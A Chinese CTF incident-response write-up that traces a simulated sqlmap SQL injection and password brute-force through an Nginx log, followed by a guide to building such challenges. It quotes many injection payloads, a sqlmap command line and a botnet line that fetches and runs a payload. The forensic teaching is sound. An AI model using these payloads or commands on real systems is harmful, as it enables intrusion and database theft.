2026CCF-被入侵的数据库:access.log SQL 注入日志分析(应急响应 Writeup + 出题思路)
题目:2026CCF-被入侵的数据库
2026年二月初,国内某科技企业的互联网资产监控平台发出紧急警报:业务系统遭未知攻击者入侵,造成了数据库等敏感信息泄露。企业安全部门立即从Web应用服务器提取了相关中间件日志(access.log)。
请下载日志文件并进行分析,确定攻击者入侵的数据库名称,并将其作为flag提交。flag格式为
flag{数据库名称}
最终 Flag:flag{login_db}
拿到一个压缩包 被入侵的数据库.zip,里面只有一个文件 access.log(约 380KB、3678 行),是 Nginx 访问日志。题目要我们分析攻击过程,还原”入侵者做了什么、数据是怎么被偷走的”。这篇文章先给出完整的分析(Writeup),再讲清楚:如果我要自己出这种题,思路是什么、一般怎么操作。
1. 日志长什么样
Nginx 默认日志格式,一行的结构是:
IP - - [时间] "请求行" 状态码 响应字节数例如:
106.114.146.10 - - [18/Mar/2026:10:03:51 +0800] "GET /?Q5CsyX=Q5CsyX.txtQ5CsyX HTTP/1.1" 200 766分析日志题的第一步永远是:把 IP 汇总排序,找到”主角”。
2. 分析思路:先分层,再逐层剥离
一份真实的 Web 日志里 90% 都是噪音(互联网扫描器、爬虫、安全探测),做题的关键不是逐行读,而是:
- 按 IP 统计,锁定请求量异常的地址;
- 按状态码/路径过滤,把噪音划掉;
- 按时间线重放攻击者的动作序列;
- 识别工具指纹(这里是 sqlmap);
- 还原被偷的数据(库名 → 表名 → 列名 → 数据)。
3. 逐层剥离
3.1 IP 分布
awk '{print $1}' access.log | sort | uniq -c | sort -rn | head3167 123.13.22.45 189 192.168.1.100 63 103.193.175.102 20 125.92.131.196 15 106.3.146.202两个主角立刻浮出水面:外网 123.13.22.45(3167 次,压倒性请求量)和内网地址 192.168.1.100(189 次)。192.168.1.100 是内网 IP——意味着攻击者已经进了内网,这是”数据库被入侵”的核心剧情。
3.2 划掉噪音
其余地址是典型互联网背景流量,用于干扰:
45.128.232.176 - - "CONNECT google.com:443 HTTP/1.1" 405 # 代理扫描147.78.103.215 - - "GET /.env HTTP/1.1" 404 # 敏感文件扫描14.241.227.216 - - "POST /GponForm/diag_Form?images/ HTTP/1.1" # 路由器漏洞扫描58.18.38.131 - - "GET /shell?cd+/tmp;rm+-rf+*;wget+.../jaws;sh+/tmp/jaws" # 僵尸网络103.193.175.102 - - "HEAD /www.rar" "HEAD /www.zip" "HEAD /www.tar.gz" # 网站备份泄露探测这些请求要么 404,要么路径毫无规律,先排除。
3.3 外网攻击者 123.13.22.45:弱口令爆破
按时间线看它的动作:
16:21:51 GET /api/blade-system/tenant/select 404 # 框架漏洞探测16:21:58 GET /.dbshell 404 # 数据库管理接口探测16:22:14 GET /test/api/blade-system/tenant/select 40416:22:21 GET /test/.dbshell 40416:22:44 GET /test/login.php?username=admin&password=123456 302 ← 关键!16:22:47 GET /test/logout.php 30216:22:49 ~ 16:26:27 连续爆破 login.php 约 2700 次 全 200 93判断登录成功/失败的关键在状态码 + 响应大小:
302+ 随后访问logout.php→ 登录成功(服务端跳转);200 93→ 登录失败(93 字节的错误提示页)。
所以 admin / 123456 是真实弱口令,攻击者用它登录成功后还专门登出(logout.php)确认,随后继续爆破其他密码。结论:该站存在弱口令 admin/123456,且已被外网攻击者拿下。
3.4 内网攻击者 192.168.1.100:sqlmap 注入拖库
这是全题的核心。18:27:32 ~ 18:28:44,约 189 个请求全部打向 /test/login.php?username= 参数,是教科书级的 sqlmap 攻击链:
① 探测与布尔盲注(18:27:32)
username=tIfX' AND 6861=4259 AND ('OMUW'='OMUW 200 240 # 假条件 → 240 字节username=tIfX' AND 2357=2357 AND ('pJkX'='pJkX 200 93 # 真条件 → 93 字节username=(SELECT (CASE WHEN (8828=8828) THEN 'tIfX' ELSE (SELECT 2638 UNION SELECT 2469) END))注意响应大小随条件真假变化(240 vs 93),说明存在可回显的注入点。
② 报错注入(EXTRACTVALUE)
username=tIfX' AND EXTRACTVALUE(9051,CONCAT(0x5c,0x717a626271,(SELECT (ELT(9051=9051,1))),0x71717a6b71)) AND ('axSX'='axSXEXTRACTVALUE 是 MySQL 报错注入的经典函数,sqlmap 用它验证 error-based 注入。
③ 时间盲注(日志里能看见 5 秒空档!)
18:27:34 username=tIfX' AND (SELECT 2832 FROM (SELECT(SLEEP(5)))Shal) AND 'fsqd'='fsqd18:27:39 username=tIfX' AND (SELECT 2832 FROM (SELECT(SLEEP(0)))Shal) AND 'fsqd'='fsqd日志时间戳从 34 秒跳到 39 秒——SLEEP(5) 真的让服务端睡了 5 秒。普通访问日志不记录响应时间,但时间盲注的”秒级空档”会留在时间戳里,这是还原攻击的重要线索。
④ 多数据库试探(排除法识别 DBMS)
username=tIfX';SELECT PG_SLEEP(5)-- # PostgreSQLusername=tIfX';WAITFOR DELAY '0:0:5'-- # MSSQLusername=tIfX';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(86)||...,5) FROM DUAL-- # Oracle⑤ 数据库指纹(18:28:11)
(CASE WHEN (VERSION() LIKE 0x254d61726961444225) THEN 1 ELSE 0 END) # %MariaDB%(CASE WHEN (@@VERSION_COMMENT LIKE 0x256472697a7a6c6525) THEN 1 ...) # %drizzle%(CASE WHEN (@@VERSION_COMMENT LIKE 0x25506572636f6e6125) THEN 1 ...) # %Percona%0x254d61726961444225 解码即 %MariaDB% → 确认是 MariaDB/MySQL 系。
⑥ 拿库名:DATABASE() → 302 后 welcome.php 200 245,数据库名 login_db 已被反射回显。
⑦ 拖表(18:28:28)
UNION ALL SELECT NULL,CONCAT(0x7178766b71,JSON_ARRAYAGG(CONCAT_WS(0x77736e786561,table_name)),0x71626b7871),NULL,NULLFROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x6c6f67696e5f6462)--解码:0x77736e786561=wsnxea(sqlmap 随机分隔符)、0x6c6f67696e5f6462=login_db。拖出表:secret、users。
⑧ 拖列(18:28:44)
... FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x736563726574 AND table_schema=0x6c6f67696e5f64620x736563726574=secret → secret 表有列 flag, id;users 表有列 password, created_at, id, username。
⑨ 拖数据(flag 被偷走的瞬间)
GET /test/login.php?username=zPfw' UNION ALL SELECT NULL,CONCAT(0x7178766b71,JSON_ARRAYAGG(CONCAT_WS(0x77736e786561,flag,id)),0x71626b7871),NULL,NULLFROM login_db.secret-- - → 302 → welcome.php 200 282
GET /test/login.php?username=... SELECT NULL,CONCAT(...,`password`,created_at,id,username),...FROM login_db.users-- - → 302 → welcome.php 200 326secret 表的 flag 字段连同 users 表的密码哈希,全部被 UNION 注入带出到响应里(welcome.php 282 / 326 字节的回显就是外带的数据)。
3.5 工具指纹小结(怎么一眼认出 sqlmap)
| 特征 | 例子 |
|---|---|
| 随机十六进制 marker | 0x7178766b71(qxvkq)、0x71626b7871(qbkxq)、0x717a626271(qzbbq) |
| CASE WHEN 注入判断 | (CASE WHEN (4192=4192) THEN 1 ELSE 0 END) |
| 数据外带函数 | JSON_ARRAYAGG(CONCAT_WS(...))、CONCAT(0x..,IFNULL(CAST(...))) |
| 结尾注释 | -- -、-- /* */、# |
| 真/假条件成对出现 | AND 6861=4259 与 AND 2357=2357 |
| 多数据库时间函数试探 | PG_SLEEP / WAITFOR DELAY / DBMS_PIPE / SLEEP |
3.6 结论(答案速查)
- 本题答案(flag):数据库名
login_db→flag{login_db} - 外网攻击者:123.13.22.45,弱口令爆破,成功口令
admin/123456 - 真正拖库者:192.168.1.100(内网),工具 sqlmap
- 漏洞点:
/test/login.php的username参数(字符串型 SQL 注入,可报错/时间/UNION) - 数据库:
login_db;表secret(flag, id)、users(password, created_at, id, username) - flag 去向:
SELECT flag,id FROM login_db.secret被 UNION 注入外带,flag 就在那次welcome.php 200 282的响应里——日志里只有请求没有响应体,所以完整 flag 需要在靶机上复现注入或由平台以数据库内容给分
4. 出题思路:怎么自己写这种题
4.1 先定知识点和难度
日志分析题的核心考点是攻击特征识别 + 数据还原 + 应急溯源,适合 Web 入门到中级的蓝队向题目。要控制难度,关键是”线索密度”:
- 太干净(只有攻击请求)→ 选手 5 分钟秒杀;
- 全噪音(没有主线索)→ 选手无从下手;
- 最佳比例:1 条主线攻击 + 1~2 条干扰剧情 + 大量无意义扫描噪音。
4.2 搭一个能被打的靶场
- 应用:手写一个 20 行的
login.php(把username拼进 SQL 即可),或用现成靶场(pikachu、sqli-labs、DVWA)改个路径,比如/test/login.php; - 数据库
login_db:users表:username/password/created_at/id,其中塞一条弱口令admin/123456(用于”弱口令”考点);secret表:flag, id,flag 就埋在这里(用于”拖库”考点);
- 登录成功跳转
welcome.php并回显部分查询结果——回显设计决定了 sqlmap 的 UNION/报错注入能不能成立。
4.3 先”演”一遍攻击剧本(这是出题的核心工序)
剧本要分角色、分时间段:
- 外网扫描者(如
123.13.22.45):扫目录、探测.env/.dbshell等 → 发现/test/login.php→ 用admin/123456登录成功(记下 302 + logout)→ 继续爆破一堆错误口令; - 内网拖库者(如
192.168.1.100):用 sqlmap 打username参数:自动得到探测→指纹→拖库→拖列的完整请求序列;Terminal window sqlmap -u "http://靶机/test/login.php?username=a&password=b" -p username \--dbms mysql --batch --dbs --tables --columns --dump - 让 sqlmap 真的跑完拿到 flag,你才知道正确答案长什么样。
4.4 采集日志(关键细节)
- Nginx 里配置
log_format至少包含:log_format main '$remote_addr - - [$time_local] "$request" $status $body_bytes_sent'; - 不要只留攻击流量:提前往服务器灌一批扫描器/爬虫/杂音请求(可用 GoBuster、或直接把真实公网日志里的无关行粘进来),再混入攻击流量;
- 保留时间戳的秒级间隔:比如时间盲注 SLEEP(5) 前后会有 5 秒空档,这是最隐蔽也最有价值的解题线索,别把它”优化”掉;
- 导出前用
wc -l、sort | uniq -c自查一遍,确认主角 IP 的请求量明显高于噪音。
4.5 设计问题与 flag 的发放方式
典型的提问清单:
- 外网攻击者 IP 是什么?用了什么手段?
- 内网攻击者 IP 是什么?使用了什么工具?
- 爆破成功的账号密码是?(
admin/123456) - SQL 注入点在哪个参数?(
username) - 被拖取的数据库名/表名/列名?(
login_db/secret,users/flag,id…) - flag 是什么 / 在哪?
关于 flag:因为响应体不在日志里,纯静态分析拿不到完整 flag。两种出法任选:
- 平台动态给分:选手提交”IP/工具/库表列”等识别结果,flag 由平台校验;
- 复现给分:题目同时给一个”已还原”的靶机/数据库备份,选手照着日志复现注入或直接查库拿 flag——这也是最接近真实应急响应的玩法。
4.6 打包与剧情包装
- 把
access.log打进 zip,命名成有剧情的样子,比如本题的”被入侵的数据库.zip”(误导性命名本身就是干扰项——它里面其实只有日志); - 题目描述给一个场景:“某业务站点 3 月 18 日遭入侵,数据库被拖,请根据日志还原攻击过程……”。
5. 一般操作方式:标准化出题流程
- 定剧情:谁(攻击者角色)、何时、做了什么(弱口令 / 注入 / 拖库 / 后门);
- 搭靶场:写/选一个有注入点的应用,埋好弱口令和 flag;
- 演攻击:手工打一遍 + 工具(sqlmap)打一遍,双份流量都留着,特征要全(报错、时间、UNION 都要有);
- 混噪音:灌入扫描器、爬虫、404 噪音,比例建议噪音:主线 ≈ 9:1;
- 导出日志:配置好 nginx 格式,导出后人工检查时间线完整;
- 自测:换一个完全不看答案的人(或第二天再看),只给日志,看能否还原出 90% 的剧本;还原不出就加线索(比如保留 302 成功登录的 logout 行为、保留 SLEEP 秒级空档);
- 出题:写题目描述、问题清单、答案与判题规则,打包发布。
自测清单(每题出完过一遍):
- 按 IP 排序能一眼找到主角?
- 状态码 + 响应大小的组合能区分成败(302/200/404)?
- sqlmap 特征(hex marker、CASE WHEN、
-- -)足够明显? - 时间盲注的秒级空档还在?
- 库/表/列名在请求里可解码还原(hex 明文)?
- 噪音不会喧宾夺主,也不会一点线索都没有?
6. 小结
这类”日志分析 + 应急响应”题本质是让选手当一次取证分析师:从看似杂乱的一堆 HTTP 记录里,用”IP 聚合 → 噪音剥离 → 时间线重放 → 工具指纹识别 → 数据还原”五步法重建攻击。对做题的人来说,学会识别 sqlmap 的请求特征和 302/响应大小这些”无声的语言”比背 payload 更重要;对出题人来说,剧本先行、流量真实、线索可解码是三道工序,缺一不可。
如果自己动手写一版,推荐最小可玩组合:一个 20 行的 login.php + 一张含 flag 的表 + 一次真实的 sqlmap 全流程 + 灌一点扫描噪音,一道合格的入门应急题就出来了。